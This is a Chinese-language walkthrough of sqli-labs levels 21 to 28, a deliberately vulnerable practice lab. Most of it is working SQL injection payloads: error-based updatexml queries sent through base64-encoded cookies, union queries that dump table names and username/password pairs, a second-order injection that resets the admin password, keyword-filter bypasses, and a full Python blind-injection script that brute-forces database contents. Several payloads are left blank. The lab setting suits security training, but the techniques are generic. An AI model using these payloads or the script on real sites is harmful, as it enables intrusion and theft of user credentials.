第21关(cookie注入)
首先观察源码,发现本关username和password都进行了检查,具体检查函数为check_input(),对字符进行转义,目前无法绕过。
接下来发现另一句sql查询语句,此处cookie没有进行检查,只是对其做了base64编码,然后发现存在msql_error()函数。此关思路清晰,只需闭合cookie字段单引号和括号,和20关不同,这里需要在进行一次base64编码,然后报错注入。
使用burpsuit抓包,将cookie字段替换为payload为:
Dumb') and updatexml(1,concat(0x7e,database(),0x7e),1)#(此处经过base64编码,如果结果有等号还要进行url编码)
爆出数据库名:security
接下来就是常规爆数据的payload:(此处payload需要进行base64编码)
爆security的表名:
Dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
爆users的列名:
Dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit
爆数据:
Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit
Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit
第22关(cookie注入)
查看源码,发现逻辑和上一关一模一样,只不过此关需要使用双引号闭合,具体操作参考上一关,这里就不重复演示。
payload:(此处payload需要进行base64编码)
爆security的表名:
Dumb" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
爆users的列名:
Dumb" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit
爆数据:
Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit
Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit
第23关(联合注入)
观察网页源代码,发现对输入的# --进行了过滤,所以不使用报错注入,尝试联合注入。根据后面的sql查询语句,说明是单引号闭合。
构造paylaod:
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-23/?id=-1’ union select 1,2,3‘
记住后面一定要加单引号 将后面的单引号闭合 否则查询语句会出错。
2和3处有回显,接下来使用下面的payload爆数据即可:
爆所有表
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆所有列
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security'),3--+
爆数据
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(concat(username,0x7e,password)) from security.users),3--+
第24关 (寻找注入点)
首先在index.php中没有sql查询语句,发现将输入提交到了login.php。
跟踪代码到login.php,发现还是没有sql语句,而是跳转到pass_change.php。
在pass_change.php中终于发现了查询语句,一共四个参数,发现其中只有username是在session中直接取得的,其他三个都进行了转义,判断注入点在username处。
所以,只需新建账户时在username中加入‘#(注意要闭合前面的单引号),即可在修改密码时修改无’#的那个账户的密码(SQL语句变成$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";后面的密码校验失效),实现root账户登录。
第25关(and绕过)
发现设置了黑名单,所以的or和and不能使用,会检查id的输入。
既然and不能使用,&&不在黑名单中,所以可以使用&&绕过。构建payload:
注意此处用&&代替and,必须进行url转码。
例如,Url参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/s?q=abc&ie=utf-8。如果你的value字符串中包含了=或者&,那么势必会造成接收Url的服务器解析错误,因此必须将引起歧义的&和=符号进行转义,也就是对其进行编码。
接下来就是熟悉的爆数据或写木马上去,就不再重复演示,替换updatexml即可。
同时此题可以使用双写绕过,不能使用大小写绕过,因为设置了大小写不区分。
第25-a关
这一关和上一关一样,都过滤了and和or,这关同时关闭了error回显,所以不能使用updataxml报错注入,但可以使用联合查询。同时不需要单引号闭合。
构造payload:
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-25a/?id=-1%20union%20select%201,2,3%20--+
2和3有回显,可以使用联合查询爆数据。payload如下:
爆所有库
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
爆所有表
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆所有列
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security'),3--+
爆数据
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(concat(username,0x7e,password)) from security.users),3--+
第26关(括号绕过)
第26关黑名单中加入很多符号,主要是空格和注释符
构造payload:
使用&&的url编码绕过and,并且后面要加上‘1’=‘1,来闭合后面的单引号。
成功爆出数据库名。
接下来是常规的爆数据,不再演示。
第26-a关
查看源码,发现不同的是此关需要’)闭合,而且屏蔽掉了报错信息。
因为没有报错信息,所以使用时间盲注,构造payload:
页面5秒后加载出来,说明数据库长度为8,注入点找到,接下来就是使用脚本爆破数据。
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-26a/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name' #用于判断附加sql语句为真的字符,根据网页回显填写
def Database26A():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))>"+str(j)+")anandd('1')=('1" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))="+str(i)+")anandd('1')=('1"
param = {
"id":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1') aandnd (substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables26A(database):
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))="+str(i)+")anandd('1')=('1"
param = {
"id":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1') anandd (substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns26A(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))="+str(i)+")anandd('1')=('1"
param = {
"id":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1') anandd (substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') aandnd (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content26A(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1') aandnd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1') anandd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))="+str(i)+")anandd('1')=('1"
param = {
"id":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1') aandnd (substr((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")),"+str(i)+",1)='"+c+"')anandd('1')=('1"
param = {
"id":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
第27关
本关过滤掉了union、select等查询语句以及注释符等。
但是没有屏蔽掉报错信息,所以可以updatexml报错注入。
and还是通过&&的url编码绕过,后面使用‘1’=‘1闭合最后的引号(因为注释用不了)。
构造payload:
爆出数据库名security,接下来爆数据,不重复演示。
第28关
本题需要绕过黑名单,’)闭合,且没有报错信息回显,需要使用联合查询(双写绕过)
构造payload:
2处有回显,可以在2处爆数据。不再演示。